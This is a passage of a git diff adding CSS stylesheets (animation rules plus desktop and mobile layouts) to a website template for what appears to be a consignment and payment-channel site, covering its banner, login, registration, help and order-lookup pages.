[aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2800'].aos-animate,body[aos-delay='2800'] [aos].aos-animate{-webkit-transition-delay:2.8s;transition-delay:2.8s}[aos][aos][aos-delay='2850'],body[aos-delay='2850'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2850'].aos-animate,body[aos-delay='2850'] [aos].aos-animate{-webkit-transition-delay:2.85s;transition-delay:2.85s}[aos][aos][aos-delay='2900'],body[aos-delay='2900'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2900'].aos-animate,body[aos-delay='2900'] [aos].aos-animate{-webkit-transition-delay:2.9s;transition-delay:2.9s}[aos][aos][aos-delay='2950'],body[aos-delay='2950'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2950'].aos-animate,body[aos-delay='2950'] [aos].aos-animate{-webkit-transition-delay:2.95s;transition-delay:2.95s}[aos][aos][aos-delay='3000'],body[aos-delay='3000'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='3000'].aos-animate,body[aos-delay='3000'] [aos].aos-animate{-webkit-transition-delay:3s;transition-delay:3s}[aos^=fade][aos^=fade]{opacity:0;-webkit-transition-property:all;transition-property:all}[aos^=fade][aos^=fade].aos-animate{opacity:1}[aos=fade-up]{-webkit-transform:translate(0,100px);-ms-transform:translate(0,100px);transform:translate(0,100px)}[aos=fade-up].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-down]{-webkit-transform:translate(0,-100px);-ms-transform:translate(0,-100px);transform:translate(0,-100px)}[aos=fade-down].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-right]{-webkit-transform:translate(-100px,0);-ms-transform:translate(-100px,0);transform:translate(-100px,0)}[aos=fade-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-left]{-webkit-transform:translate(100px,0);-ms-transform:translate(100px,0);transform:translate(100px,0)}[aos=fade-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-up-right]{-webkit-transform:translate(-100px,100px);-ms-transform:translate(-100px,100px);transform:translate(-100px,100px)}[aos=fade-up-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-up-left]{-webkit-transform:translate(100px,100px);-ms-transform:translate(100px,100px);transform:translate(100px,100px)}[aos=fade-up-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-down-right]{-webkit-transform:translate(-100px,-100px);-ms-transform:translate(-100px,-100px);transform:translate(-100px,-100px)}[aos=fade-down-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-down-left]{-webkit-transform:translate(100px,-100px);-ms-transform:translate(100px,-100px);transform:translate(100px,-100px)}[aos=fade-down-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos^=zoom][aos^=zoom]{opacity:0;-webkit-transition-property:all;transition-property:all}[aos^=zoom][aos^=zoom].aos-animate{opacity:1}[aos=zoom-in]{-webkit-transform:scale(.6);-ms-transform:scale(.6);transform:scale(.6)}[aos=zoom-in].aos-animate{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}[aos=zoom-in-up]{-webkit-transform:translate(0,100px) scale(.6);-ms-transform:translate(0,100px) scale(.6);transform:translate(0,100px) scale(.6)}[aos=zoom-in-up].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-in-down]{-webkit-transform:translate(0,-100px) scale(.6);-ms-transform:translate(0,-100px) scale(.6);transform:translate(0,-100px) scale(.6)}[aos=zoom-in-down].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-in-right]{-webkit-transform:translate(-100px,0) scale(.6);-ms-transform:translate(-100px,0) scale(.6);transform:translate(-100px,0) scale(.6)}[aos=zoom-in-right].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-in-left]{-webkit-transform:translate(100px,0) scale(.6);-ms-transform:translate(100px,0) scale(.6);transform:translate(100px,0) scale(.6)}[aos=zoom-in-left].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out]{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}[aos=zoom-out].aos-animate{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}[aos=zoom-out-up]{-webkit-transform:translate(0,100px) scale(1.2);-ms-transform:translate(0,100px) scale(1.2);transform:translate(0,100px) scale(1.2)}[aos=zoom-out-up].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out-down]{-webkit-transform:translate(0,-100px) scale(1.2);-ms-transform:translate(0,-100px) scale(1.2);transform:translate(0,-100px) scale(1.2)}[aos=zoom-out-down].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out-right]{-webkit-transform:translate(-100px,0) scale(1.2);-ms-transform:translate(-100px,0) scale(1.2);transform:translate(-100px,0) scale(1.2)}[aos=zoom-out-right].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out-left]{-webkit-transform:translate(100px,0) scale(1.2);-ms-transform:translate(100px,0) scale(1.2);transform:translate(100px,0) scale(1.2)}[aos=zoom-out-left].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=slide-up]{-webkit-transform:translate(0,100%);-ms-transform:translate(0,100%);transform:translate(0,100%)}[aos=slide-up].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=slide-down]{-webkit-transform:translate(0,-100%);-ms-transform:translate(0,-100%);transform:translate(0,-100%)}[aos=slide-down].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=slide-right]{-webkit-transform:translate(-100%,0);-ms-transform:translate(-100%,0);transform:translate(-100%,0)}[aos=slide-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=slide-left]{-webkit-transform:translate(100%,0);-ms-transform:translate(100%,0);transform:translate(100%,0)}[aos=slide-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos^=flip]{-webkit-backface-visibility:hidden;backface-visibility:hidden}[aos=flip-left]{-webkit-transform:perspective(2500px) rotateY(-100deg);transform:perspective(2500px) rotateY(-100deg)}[aos=flip-left].aos-animate{-webkit-transform:perspective(2500px) rotateY(0);transform:perspective(2500px) rotateY(0)}[aos=flip-right]{-webkit-transform:perspective(2500px) rotateY(100deg);transform:perspective(2500px) rotateY(100deg)}[aos=flip-right].aos-animate{-webkit-transform:perspective(2500px) rotateY(0);transform:perspective(2500px) rotateY(0)}[aos=flip-up]{-webkit-transform:perspective(2500px) rotateX(-100deg);transform:perspective(2500px) rotateX(-100deg)}[aos=flip-up].aos-animate{-webkit-transform:perspective(2500px) rotateX(0);transform:perspective(2500px) rotateX(0)}[aos=flip-down]{-webkit-transform:perspective(2500px) rotateX(100deg);transform:perspective(2500px) rotateX(100deg)}[aos=flip-down].aos-animate{-webkit-transform:perspective(2500px) rotateX(0);transform:perspective(2500px) rotateX(0)} \ No newline at end of file diff --git a/template/index2/assets/css/index1200.css b/template/index2/assets/css/index1200.css new file mode 100644 index 0000000..8a93f88 --- /dev/null +++ b/template/index2/assets/css/index1200.css @@ -0,0 +1,185 @@ +@media (min-width:1001px){ +/*banner*/ +.banner{ width:1200px; margin:0 auto; height:490px} +.banNr{ padding-top:156px; padding-left:15px;} +.banNrT{ font-size:38px; line-height:50px;margin-bottom:10px;} +.banNr p{ font-size:18px; line-height:33px;} +.ButAN{font-size:16px; width:196px; line-height:44px; height:44px;border-radius:22px; margin-top:40px;} +/*寄售服务项目*/ +.Title P{ font-size:28px; margin-top:120px; margin-bottom:5px;} +.Title span{ font-size:12px; margin-bottom:15px;line-height:20px} +.Title i{ width:48px; height:4px; border-radius:2px;} +.IndIte{ width:1200px; margin:65px auto 30px;} +.IndIteK{ height:158px; width:299px;border-left:1px solid #dedee0;} +.IndIteK:nth-child(1){ border-left:none;} +.IndIteI{ padding-top:34px; height:52px;} +.IndIteI img{ height:52px;} +.IndIteK p{ font-size:16px; margin-top:20px;} +/*支付渠道*/ +.IndPay{ width:976px; margin:66px auto 0} +.IndPayK{ width:272px; height:40px; padding:21px 0; border-radius:8px;margin-left:40px; margin-bottom:35px; box-shadow:0 5px 10px rgba(150,192,252,0.4);} +.IndPayK img{ height:40px;} +/*平台功能*/ +.IndPlaK{ width:960px; margin:45px auto 0;} +.IndPlaL{ width:495px; padding-top:45px;} +.IndPlaLT{ font-size:20px;} +.IndPlaLn{ margin-top:40px;} +.IndPlaLz{ width:58px; height:58px; line-height:58px;font-size:30px;} +.IndPlaLr{ width:400px; line-height:25px; margin-top:5px;} +.IndPlaLr p{ font-size:18px;} +.IndPlaLr span{ font-size:14px;} +.IndPlar{ width:463px;} +.IndPlar img{ width:463px;} +.IndPlaS{ width:1200px;top:-60px;padding-bottom:30px;} +.IndPlaC{ width:226px; margin:0 12px 24px; padding:50px 25px 0; height:200px; border-radius:9px;} +.IndPlaI{ height:30px;} +.IndPlaKt{ font-size:20px;line-height:30px; padding:20px 0 15px;} +.IndPlaC p{font-size:16px; line-height:26px;} +a.ButPla{font-size:18px;width:260px; height:54px; line-height:54px; border-radius:33px; border:6px solid #afd3fc; margin:30px auto;} +a.ButPla:hover{ border:6px solid #fbccb7} +/*核心优势*/ +.IndCha{ width:1000px; margin:80px auto 0;} +.IndChaZ{ width:380px; padding-left:80px; padding-top:50px} +.IndChaZt{ font-size:20px; margin-bottom:15px;} +.IndChaZ p{ font-size:18px;line-height:34px;} +.IndChaP{ width:432px;} +/**************登录***************/ +.LoginK{ background-image:url(../images/loginb.jpg); background-attachment:fixed; background-repeat:no-repeat; background-position: bottom center; color:#333; min-height:100%;} +.Login{ width:466px; padding-bottom:35px; background:#FFF; margin:15% auto 0; border-radius:6px;} +.register{ width:466px; padding-bottom:35px; background:#FFF; margin:7% auto 0; border-radius:6px;} +.register .Logreg{ margin:0 auto;} + +.LogTit{ text-align:center; font-size:22px; line-height:35px; padding-top:30px; font-weight:600;} +.logK{ width:332px; margin:0 auto;height:65px;} +.logIc{ width:43px; height:43px; display:block; background-repeat:no-repeat; background-position:center; background-color:#2f80f0;} +.logIn{height:43px; line-height:43px; background:none; border:none; width:259px; padding:0 15px; font-size:14px;background:#eff2f5;} +.logNr{ line-height:23px; height:23px; font-size:14px; width:332px;margin:0 auto 15px;} +.logNr a{ color:#999;} +.logNr a:hover{ color:#2f80f0;} +.Login .Logreg{ margin:0 auto;} +.logK span{ line-height:22px; color:#e60012; font-size:14px; display:block; padding-left:43px;} +/***************注册***************/ +.Regtit{ font-size:14px; text-align:center; margin-bottom:16px;} +.logInw{ width:148px;} +.yzm{ display:block; width:100px;} +.Set_but{ border:none; display:block; width:100px; line-height:43px; height:43px; text-align: center; color:#FFF; display:block;} +.Regf{ text-align:center; font-size:14px; color:#999; padding-top:10px;} +.Regf a{ color:#3087f2;} +/*弹出*/ +.TcK{top:10%;left:50%; margin-left:-400px;width:700px;border-radius:8px; padding:0 50px 30px; max-height:700px; overflow:auto;} +.TcRegT{ font-size:24px; color:#333; text-align:center; font-weight:600; border-bottom:1px solid #ccc; line-height:80px; height:80px;} +.TcRegN{ font-size:16px; color:#333; line-height:28px; margin-top:15px;} +.TcRegP{ margin-bottom:10px;} +.TcRegN a{ color:#0e6bf9; display:block;} +A.TcRegA{ width:200px; height:42px; line-height:42px; text-align:center; border-radius:21px; font-size:18px; display:block; margin:20px auto 0;} + +/**************登录错误****************/ +.Erro{ height:559px; background:url(../images/erro.jpg) no-repeat center top; margin-top:82px;} +.ErroK{ width:600px; padding-left:600px; padding-top:210px; color:#FFF; text-align:center; margin:0 auto;} +.ErroT{font-size:40px; font-weight:600; line-height:50px;} +a.Errlink{ font-size:18px; line-height:20px; margin-top:15px; color:#FFF; display:block;} +a.Errlink span{ color:#febc67;} +/**************联系我们****************/ +.ContK{ background:url(../images/contb.jpg) no-repeat center 82px; padding-top:82px;} +.ContTit{ width:1150px; margin:0 auto; padding-top:100px; height:200px; color:#FFF;} +.ContTid{ font-size:40px; font-weight:600; line-height:50px;} +.ContTid span{ font-size:30px; padding-left:15px; margin-bottom:10px; display:inline-block;} +.ContTit p{ font-size:18px; line-height:20px;} +.ContD{ width:1090px; background:#FFF; margin:0 auto; padding:0 30px 50px; border-radius:10px; position:relative;} +.ContDK{ padding-left:40px; padding-top:100px; width:320px; height:170px;font-size:18px; float:left;} +.ContDp{ padding-left:55px; background-repeat:no-repeat; background-position:left center; line-height:28px; margin-bottom:10px;} +.ContDp1{ background-image:url(../images/fticon01.png)} +.ContDp2{ background-image:url(../images/fticon02.png)} +.ContDp span{display:block;} +.ContDp p{color:#3e86ee; font-size:24px; font-weight:600;} +.aboutDp p{color:#000000; font-size:18px; } +.ContM{ width:205px; height:315px;text-align:center; background:url(../images/cont01.png) no-repeat top center; position:absolute; right:144px; top:-45px;} +.ContM img{ padding-top:63px; width:166px;} +.ContM p{ font-size:14px; line-height:30px;} +.ContMat{ width:1054px; padding:8px; box-shadow:0 0 15px rgba(197,215,255,0.55); margin:0 auto;} +/***************帮助中心**************/ +.HelpK{background-image:url(../images/helpb.png); background-repeat:no-repeat; background-position:right bottom; color:#333; min-height:100%;} +.Help{ width:1200px; margin:40px auto; padding-top:82px;} +.HelpT{ font-weight:600; text-align:center; font-size:34px; line-height:50px; color:#333;} +.HelpD{display:flex;flex-wrap: wrap; margin-top:15px;} +.HelpN{ width:600px;} +.HelpNs{background:#FFF; margin:26px 25px 0; width:500px; padding:13px 25px; border-radius:8px; box-shadow:0 0 10px rgba(197,215,255,0.55);cursor: pointer;} +.HelpQ{ padding-left:50px; position:relative;line-height:32px; font-size:18px; font-weight:600;} +.HelpQ i,.HelpA i{ width:32px; height:32px; line-height:32px; font-style:normal; font-size:20px; text-align:center; font-weight:bold; position:absolute; top:0; left:0; border-radius:50%; display:block;} +.HelpA i{FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);box-shadow:0 5px 10px rgba(255,45,82,0.45);color:#FFF;} +.HelpA{padding-left:50px; position:relative;font-size:14px; line-height:23px; min-height:32px; margin-top:15px; display:none;} +.FHelp{ font-size:16px; text-align:center; color:#666; line-height:30px; padding:15px 0;} +/******************查询订单****************/ +.QuerB{background-image:url(../images/querb.png);background-repeat:no-repeat;background-position:center bottom;color:#333;min-height:100%;} +.QueT{ text-align:center; padding-top:117px;} +.QueT a{ color:#333; font-size:24px; display:inline-block; margin:0 35px; line-height:60px;} +.QueT a i{ display:block; width:36px; height:6px; border-radius:3px; margin:0 auto;} +.QueTao{ font-weight:600;} +.QueTao i{ background:#333;} +.QueD{ display:none;} + +.QueT1{ width:1026px; margin:35px auto;} +.QueT4{ width:1026px; margin:35px auto;} +/**/ +.search{ background:#FFF; border:2px solid #9ec2f6; border-radius:8px; height:63px; overflow:hidden;} +.searI{ line-height:63px; height:63px; padding-left:40px; width:770px; background:none; border:none; font-size:18px; color:#666} +a.searA{ color:#FFF; font-size:18px; display:block; text-align:center; width:160px;line-height:63px; height:63px; padding-right:20px;} +a.searA span{background:url(../images/search.png) no-repeat left center; padding-left:55px; display:inline-block;} +.QueKO{ background:#fff; overflow:hidden; margin-top:35px; padding-bottom:35px; border-radius:8px;} +.QueKOt{ margin-bottom:23px; line-height:61px; height:61px; padding:0 35px; color:#FFF;} +.QueKOt p{ font-size:20px; width:80%; float:left;} +.QueKOt a{background:url(../images/qued.png) no-repeat left center;font-size:16px;padding-left:24px;color:#FFF;line-height:31px;height:31px;width:140px;margin-top:15px;display:block;} +.QueTabk{ display:none;} +.QueTab{ width:956px; margin:0 auto 15px; border:1px solid #ccc; border-bottom:none;} +.QueTab tr td{ text-align:center; padding:13px 10px; color:#333; font-size:14px;border-bottom:1px solid #ccc; line-height:25px;} +.QueTab tr.QueTr td{ font-size:10px; font-weight:600; background:#ededed;} +.QueZF{ padding-left:28px; display:inline-block; background:url(../images/ques.png) no-repeat center left;} +.QueZFsb{ padding-left:28px; display:inline-block; background:url(../images/zfsb.png) no-repeat center left;} +.QueTrC tr td{text-align:justify; padding:13px 25px;border-right:1px solid #ccc;} +.QueKOtx{ height:53px; line-height:53px; background:#ededed; border:1px solid #ccc;width:956px; margin:0 auto 15px; font-size:14px; color:#333;} +.QueKOtx span{ font-weight:600; text-align:center; color:#FFF; float:left; display:block; width:57px; line-height:26px; height:26px; background:#4089ef; border-radius:8px; margin-top:15px; margin-left:12px; margin-right:20px;} +.QueKOts{ width:940px; margin:12px auto;} +.QueKOtit{ font-size:16px; font-weight:600; line-height:30px;} +.QueKOts p{ font-size:14px; line-height:20px;} +.QueT2{background:#FFF; border-radius:8px; width:680px; padding:20px 30px 30px; margin:35px auto} +.QueST{ text-align:left; line-height:20px; font-size:10px; font-weight:600;} +.QueI{ width:638px; line-height:44px; height:44px; border:1px solid #ccc; font-size:14px; padding:0 20px; margin-bottom:14px;} +.QueText{ width:638px; line-height:24px; height:72px; border:1px solid #ccc; font-size:14px; padding:10px 20px; margin-bottom:14px;} +.Queyzt{ display:block; width:110px;height:46px; overflow:hidden; margin-right:14px;} +.Que_but{ width:120px;height:44px; border-radius:22px; margin-right:9px;} +.QueIw1{ width:288px} +.QueIw2{ width:480px;} +a.QueAN{ width:180px; line-height:42px; height:42px; display:block; margin:15px auto; text-align:center; border-radius:21px; font-size:18px;} + +.TcQue{width:30%; height:60%;margin-left:-270px;} +.TcQueN{ font-size:16px; margin-bottom:10px; line-height:26px; text-align:justify;} +.TcQueN span{ color:#5b9ef8; font-weight:600;} +.TcQueT{ text-align:center; padding-top:45px; padding-bottom:10px;} +.TcQueT img{ width:123px;} +.TcQueT p{ font-size:24px; font-weight:600; line-height:40px;} +} + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/template/index2/assets/css/index720.css b/template/index2/assets/css/index720.css new file mode 100644 index 0000000..371c15b --- /dev/null +++ b/template/index2/assets/css/index720.css @@ -0,0 +1,184 @@ +@media (max-width:800px){ +/*banner*/ +.banner{ width:100%;height:1.5rem} +.banNr{ padding-top:0.2rem; padding-left:4%} +.banNrT{ font-size:0.15rem; line-height:0.3rem;} +.banNr p{ font-size:0.11rem; line-height:0.18rem;} +.ButAN{font-size:0.12rem; width:0.8rem; line-height:0.26rem; height:0.26rem;border-radius:0.13rem;margin-top:0.1rem;} +/*寄售服务项目*/ +.Title P{ font-size:0.14rem; margin-top:0.3rem; margin-bottom:0.03rem;} +.Title span{ font-size:0.1rem; margin-bottom:0.08rem;line-height:0.16rem} +.Title i{ width:0.4rem; height:0.02rem; border-radius:0.01rem;} +.IndIte{margin:0.25rem auto 0;} +.IndIteK{ height:1rem; width:49.5%;border-left:0.01rem solid #dedee0; margin-bottom:0.2rem;} +.IndIteK:nth-child(1),.IndIteK:nth-child(3){ border-left:none;} +.IndIteI{ padding-top:0.15rem; height:0.25rem;} +.IndIteI img{ height:0.25rem;} +.IndIteK p{ font-size:0.12rem; padding:0.1rem;} +/*支付渠道*/ +.IndPay{ margin:0.2rem auto 0} +.IndPayK{width:44%;height:0.26rem;verflow:hidden;padding:0.08rem 0;border-radius:0.04rem;margin-left:4%; margin-bottom:0.1rem; box-shadow:0 3px 8px rgba(150,192,252,0.4);} +.IndPayK img{ height:0.26rem;} +/*平台功能*/ +.IndPlaK{ width:92%; padding:0.15rem 4% 0;} +.IndPlaL{ width:50%;} +.IndPlaLT{ font-size:0.13rem;} +.IndPlaLn{ margin-top:0.15rem;} +.IndPlaLz{ width:0.3rem; height:0.3rem; line-height:0.3rem; font-size:0.15rem;} +.IndPlaLr{ width:75%; line-height:0.18rem;} +.IndPlaLr p{ font-size:0.13rem; color:#2786f9;} +.IndPlaLr span{ font-size:0.1rem; color:#333;line-height:0.16rem;} +.IndPlar{ width:46%; margin-top:0.15rem;} +.IndPlar img{ width:100%;} +.IndPlaS{ margin-top:0.15rem;} +.IndPlaC{ width:38%; margin-left:4%; margin-bottom:0.1rem; padding:0.16rem 3% 0; height:1.1rem; border-radius:0.05rem;} +.IndPlaI{ height:0.21rem;} +.IndPlaKt{ font-size:0.13rem;line-height:0.2rem; padding:0.08rem 0 0.03rem;} +.IndPlaC p{font-size:0.1rem; line-height:0.16rem;} +a.ButPla{font-size:0.13rem;width:1.6rem; height:0.26rem; line-height:0.26rem; border-radius:0.17rem; border:0.04rem solid #afd3fc; margin:0.1rem auto;} +/*核心优势*/ +.IndCha{margin:0.25rem auto 0; width:92%} +.IndChaZ{ width:48%; padding-left:2%;} +.IndChaZt{ font-size:0.13rem;margin-bottom:0.08rem;} +.IndChaZ p{ font-size:0.1rem;line-height:0.16rem;} +.IndChaP{ width:46%;} + +/**************登录**************/ +.LoginK{background-image:url(../images/loginb.jpg); background-attachment:fixed;background-repeat:no-repeat;background-position:bottom center;background-size:auto 100%;color:#333; height:100%;} +.Login{ width:86%; padding-bottom:0.15rem; background:#FFF; margin:0.8rem auto 0; border-radius:6px;} +.register{ width:86%; padding-bottom:0.15rem; background:#FFF; margin:0.8rem auto 0; border-radius:6px;} +.LogTit{ text-align:center; font-size:0.14rem; line-height:0.2rem; padding-top:0.18rem; font-weight:600;} +.logK{ width:2.2rem; margin:0 auto; height:0.4rem} +.logIc{ width:0.3rem; height:0.3rem; display:block; background-repeat:no-repeat; background-position:center; background-color:#2f80f0; background-size:0.16rem} +.logIn{height:0.3rem; line-height:0.3rem; background:none; border:none; width:1.7rem; padding:0 0.1rem; font-size:0.132rem;background:#eff2f5;} +.logNr{ line-height:0.3rem; height:0.3rem; font-size:0.12rem; width:2.2rem; height:0.3rem; margin:0.05rem auto;} +.logNr a{ color:#999;} +.logNr a:hover{ color:#2f80f0;} +.Login .Logreg{ margin:0 auto;} +.register .Logreg{ margin:0 auto;} +.logK span{ line-height:0.1rem; color:#e60012; font-size:0.1rem; display:block; padding-left:0.3rem;} +/***************注册***************/ +.Regtit{ font-size:0.1rem; text-align:center; margin-bottom:0.1rem;} +.logInw{ width:1rem;} +.yzm{ display:block; width:0.65rem;} +.Set_but{ border:none; display:block; width:0.65rem; font-size:0.1rem; line-height:0.3rem; height:0.3rem; text-align: center; color:#FFF; display:block;} +.Regf{ text-align:center; font-size:0.1rem; color:#999; padding-top:0.1rem;} +.Regf a{ color:#3087f2;} +/*弹出*/ +.TcK{top:0%;left:6%;width:80%;border-radius:8px; padding:0 0.15rem 20%; max-height:100%; overflow:auto;} +.TcRegT{ font-size:0.14rem; color:#333; text-align:center; font-weight:600; border-bottom:0.01rem solid #ccc; line-height:0.4rem; height:0.4rem;} +.TcRegN{ font-size:0.11rem; color:#333; line-height:0.19rem; margin-top:0.1rem;} +.TcRegP{ margin-bottom:0.04rem;} +.TcRegN a{ color:#0e6bf9; display:block;} +A.TcRegA{ width:1.3rem; height:0.3rem; line-height:0.3rem; text-align:center; border-radius:0.15rem; font-size:0.12rem; display:block; margin:0.1rem auto 0;} +/**************登录错误****************/ +.Erro{ height:1.7rem; background:url(../images/erro.jpg) no-repeat center top; background-size: auto 100%; margin-top:0.4rem;} +.ErroK{ width:65%; padding-left:35%; padding-top:0.6rem; color:#FFF; text-align:center;} +.ErroT{font-size:0.15rem; font-weight:600; line-height:0.25rem;} +a.Errlink{ font-size:0.11rem; line-height:0.18rem;color:#FFF; display:block;} +a.Errlink span{ color:#febc67;} +/**************联系我们****************/ +.ContK{ background:url(../images/contb.jpg) no-repeat center 0.4rem; background-size:auto 1.2rem; padding-top:0.4rem;} +.ContTit{ width:92%; padding:0.2rem 4% 0; height:0.8rem; color:#FFF;} +.ContTid{ font-size:0.16rem; font-weight:600; line-height:0.26rem;} +.ContTid span{ font-size:0.14rem; padding-left:0.1rem; margin-bottom:0.05rem; display:inline-block;} +.ContTit p{ font-size:0.12rem; line-height:0.16rem;} +.ContD{ width:84%; background:#FFF;padding:0.25rem 4% 0.2rem; margin:0 auto; border-radius:0.06rem; position:relative;} +.ContDK{height:0.8rem;font-size:0.13rem; width:90%; margin:0 auto;} +.ContDp1{ background-image:url(../images/fticon01.png)} +.ContDp2{ background-image:url(../images/fticon02.png)} +.ContDp{ padding-left:0.3rem; background-repeat:no-repeat; background-position:left center; line-height:0.18rem; background-size:0.25rem; margin-bottom:0.05rem;} +.ContDp span{display:block;} +.ContDp p{color:#3e86ee; font-size:0.15rem; font-weight:600;} +.ContM{ text-align:center; margin-bottom:0.12rem;} +.ContM img{width:1rem;} +.ContM p{ font-size:0.12rem; line-height:0.2rem;} +.ContMat{ width:92%; padding:0.05rem; box-shadow:0 0 15px rgba(197,215,255,0.55); margin:0 auto;} + +/***************帮助中心**************/ +.HelpK{background-image:url(../images/helpb.png); background-size:70%; background-repeat:no-repeat; background-position:right bottom; color:#333; min-height:100%;} +.Help{ width:90%; margin:0.2rem auto; padding-top:0.4rem;} +.HelpT{ font-weight:600; text-align:center; font-size:0.15rem; line-height:0.3rem; color:#333;} +.HelpD{display:flex;flex-wrap: wrap;} +.HelpN{ width:100%;} +.HelpNs{background:#FFF; margin-top:0.1rem;width:92%;padding:0.1rem 4%; border-radius:0.05rem; box-shadow:0 0 5px rgba(197,215,255,0.55);cursor: pointer;} +.HelpQ{ padding-left:0.3rem; position:relative;line-height:0.22rem; font-size:0.13rem;} +.HelpQ i,.HelpA i{ width:0.22rem; height:0.22rem; line-height:0.22rem; font-style:normal; font-size:0.14rem;text-align:center;font-weight:bold;position:absolute;top:0; left:0; border-radius:50%; display:block;} +.HelpA i{FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);box-shadow:0 5px 10px rgba(255,45,82,0.45);color:#FFF;} +.HelpA{padding-left:0.3rem; position:relative;font-size:0.12rem; line-height:0.19rem; min-height:0.17rem; margin-top:0.1rem; display:none;} +.FHelp{ font-size:0.11rem; width:92%;text-align:center; color:#666; line-height:0.18rem; padding:0.1rem 4%;} + +/******************查询订单****************/ +.QuerB{background-image:url(../images/querb.png);background-size: auto 1.2rem;background-repeat:no-repeat;background-position:right bottom;color:#333;min-height:100%;} +.QueT{ text-align:center; padding-top:0.55rem;} +.QueT a{ color:#333; font-size:0.13rem; display:inline-block; margin:0 0.1rem; line-height:0.3rem;} +.QueT a i{ display:block; width:0.25rem; height:0.02rem; border-radius:0.02rem; margin:0 auto;} +.QueTao{ font-weight:600;} +.QueTao i{ background:#333;} +.QueD{ display:none;} +.QueT1{ width:90%; padding:0.15rem 5%} +/**/ +.search{ background:#FFF; border:0.01rem solid #9ec2f6; border-radius:0.04rem; height:0.34rem; overflow:hidden;} +.searI{ line-height:0.34rem; height:0.34rem; padding-left:4%; width:70%; background:none; border:none; font-size:0.12rem; color:#666} +a.searA{ color:#FFF; font-size:0.13rem; display:block; text-align:center; width:22%;line-height:0.34rem; height:0.34rem;} +a.searA span{background:url(../images/search.png) no-repeat left center; background-size:0.16rem; padding-left:0.2rem; display:inline-block;} +.QueKO{ background:#fff; overflow:hidden; margin-top:0.15rem; padding-bottom:0.15rem; border-radius:0.04rem;} +.QueKOt{ margin-bottom:0.12rem; line-height:0.34rem; height:0.34rem; padding:0 5%; color:#FFF;} +.QueKOt p{ font-size:0.12rem; width:75%; float:left;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;} +.QueKOt a{background:url(../images/qued.png) no-repeat left center;background-size:0.1rem;font-size:0.1rem;padding-left:0.1rem;color:#FFF;line-height:0.34rem;height:0.34rem;display:block;} +.QueTab{ display:none;} +.QueTabk{ width:92%; margin:0 auto 0.1rem; border-top:0.01rem solid #ccc; border-left:0.01rem solid #ccc;} +.QueTabk tr td{ padding:0.08rem 0.1rem; color:#333; font-size:0.1rem;border-bottom:0.01rem solid #ccc;border-right:0.01rem solid #ccc; line-height:0.18rem;} +.QueTabk tr td.QueTr{ font-size:0.1rem; font-weight:600; background:#ededed; width:30%;} + +.QueZF{ padding-left:0.15rem; display:inline-block; background:url(../images/ques.png) no-repeat center left;background-size:0.12rem;} +.QueZFsb{ padding-left:0.15rem; display:inline-block; background:url(../images/zfsb.png) no-repeat center 